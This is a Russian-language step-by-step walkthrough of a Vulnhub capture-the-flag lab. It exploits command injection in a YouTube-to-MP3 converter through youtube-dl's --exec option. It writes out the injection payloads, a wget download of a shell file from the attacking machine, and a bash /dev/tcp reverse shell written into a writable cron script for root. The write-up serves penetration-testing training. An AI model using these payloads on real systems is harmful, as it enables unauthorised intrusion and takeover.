Найти тему

Пошаговое руководство для работы с Vulnhub

Оглавление

В этой статье читатели ближе познакомятся с Vulnhub, его особенностями, положительными и отрицательными сторонами. Будет приведен практический пример использования этого полезного инструмента.

CTF — это один из популярных и, вероятно, интересных способов получить практический опыт тестирования на проникновение. В частности, речь идет о CTF от Vulnhub, который задействует все аспекты тестирования во время веб-проникновения, такие как атака на загрузку файлов. Пользователь способен зафиксировать запросы, поступающие из веб-приложения, и использовать их, чтобы попасть в машину жертвы.

Программа имеет средний уровень сложности, поэтому есть несколько мест, где пользователь может застрять. Следующий шаг в этом процессе не будет естественным и потребует личного вмешательства.

Скачать данный CTF можно, перейдя по ссылке.

Знакомство

Чтобы найти машину жертвы, на которой работает лаборатория CTF, пользователю следует ввести следующую комбинацию:

netdiscover

-2

На предыдущем этапе человек пришел к выводу, что IP-адрес жертвы – 192.168.1.105.

Необходимо начать со сканирования IP-адреса и посмотреть, что человек может таким образом обнаружить. Агрессивное (а) сканирование nmap способно помочь пользователю получить представление о том, что все порты и службы работают на машине CTF.

nmap -A 192.168.1.105

-3

Перечисление

На предыдущем шаге пользователь осознал, что порт 80 открыт, работает сервер Apache. Чтобы провести перечисление, стоит открыть веб-браузер и ввести IP-адрес машины жертвы в разделе URL. Таким образом пользователь поймет, что он может найти.

-4

Теперь на картинке ниже можно увидеть кое-что интересное. Итак, здесь пользователь заметит, что это веб-приложение используется для преобразования видео с YouTube в формат MP3. Нужно разобраться, как именно это происходит. Burpsuite — это инструмент выбора здесь, так что стоит начать с burp proxy.

Пользователь готов фиксировать запросы, поступающие из этого веб-приложения, для проведения анализа. После вставки случайного URL-адреса YouTube в тестовое поле человек нажмет на кнопку «Сonvert» (конвертировать). После нужно активировать флажку перехвата «Intercept» и включить ее.

-5

Чтобы увидеть ответ, пользователь отправит этот запрос.

-6

Человек, кажется, получает ошибку, что любопытно, необходимо попробовать выяснить, что эта ошибка означает и к чему она его приводит. Пользователь копирует имеющиеся данные и вставляет в поисковик Google. Таким образом, он сможет понять, какие результаты были им получены.

-7

Была получена ссылка на Github. Изучая ее, пользователь видит варианты того, какие дескрипторы команд могут быть приняты этим веб-приложением.

-8

Применение

В этом инструменте есть опция, которую можно использовать в веб-приложении для выполнения команды.

Сейчас пользователь будет снова захватывать запрос и модифицировать аргумент, который «попался в плен». Используя опцию «–exec», чтобы запустить команду, человек способен увидеть, какие файлы он может получить.

--exec%3c'ls${IFS}-la'

-9

В результате человек может увидеть index.php и его разрешения для данного пользователя.

Следующим шагом является создание файла Shell с помощью Python. Не стоит стесняться выбирать свой любимый обратный Shell Python, просто надо изменить IP и порт оболочки на необходимые данные атакующей машины, как это было сделано ниже.

-10

Файл пользователя был создан, он включил сервер Рython на его атакующей машине, чтобы разместить файл Shell, который тоже только что был изменен.

В Burpsuite пользователь сможет снова выполнить захват запроса и изменить его для машины жертвы, чтобы загрузить файл Shell, используя ту же команду, которую он применял в прошлый раз для выполнения запроса на машине жертвы в сочетании с Wget.

--exec%3c'wget${IFS}http://192.168.1.112:8000/file.sh'

-11

Операция прошла успешно, файл пользователя Shell Python был успешно загружен на машину жертвы.

Для проверки того, что человек сделал, будет использоваться команда ls-la.

--exec%3c'ls${IFS}-la'

-12

Файл Shell пользователя находится в системе жертвы. Он готов и ожидает запуска, так что стоит продолжить и приступить к реальным делам.

yt_url=--exec%3c`bash${IFS}file.sh`

-13

Листенер Netcat также готов и ждет обратного вызова Shell на атакующей машине. Пользователь получил то, что нужно!

Необходимо исследовать каталоги. Человек натыкается на каталог с именем “admin”, переходит к нему и открывает содержимое. Там пользователь видит, что существует файл с именем «flag.txt». Открыв его, человек получает свой первый флаг. Следующее, что нужно сделать, это найти файлы, которые могут быть записаны и будут принимать входные данные пользователя. Это позволит ему получить более высокие привилегии.

nc -lvp 1234
ls
cd admin
ls
cat flag.txt
find / -writeable -type d 2>/dev/null

-14

Повышение привилегий

Пользователь находит каталог с именем “tmp”, с которым он может работать. Копаясь в “tmp” и перечисляя все скрытые файлы, человек обнаруживает, что существует файл Shell с именем «clean.sh». Теперь пользователь способен записать свой Shell-код в этот файл и использовать его, чтобы получить Shell с более высокими привилегиями. Используя echo, пользователь помещает свой Shell-код в файл.

cd tmp
ls -la
echo "bash -i >& /dev/tcp/192.168.1.112/8888 0>&1" > clean.sh

-15

Теперь человек включит листенер Netcat и немного подождет. Этот шаг требует терпения, так как он может занять до минуты, чтобы информация вернулась к атакующей машине.

nc -lvp 8888
cd /root
ls
cat root.txt

-16

Успех! Доступ получен!

Исследуя корневой каталог, пользователь находит файл с именем “root.txt”, открывает его, чтобы найти окончательный флаг. На этом заканчивается пошаговое руководство.

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях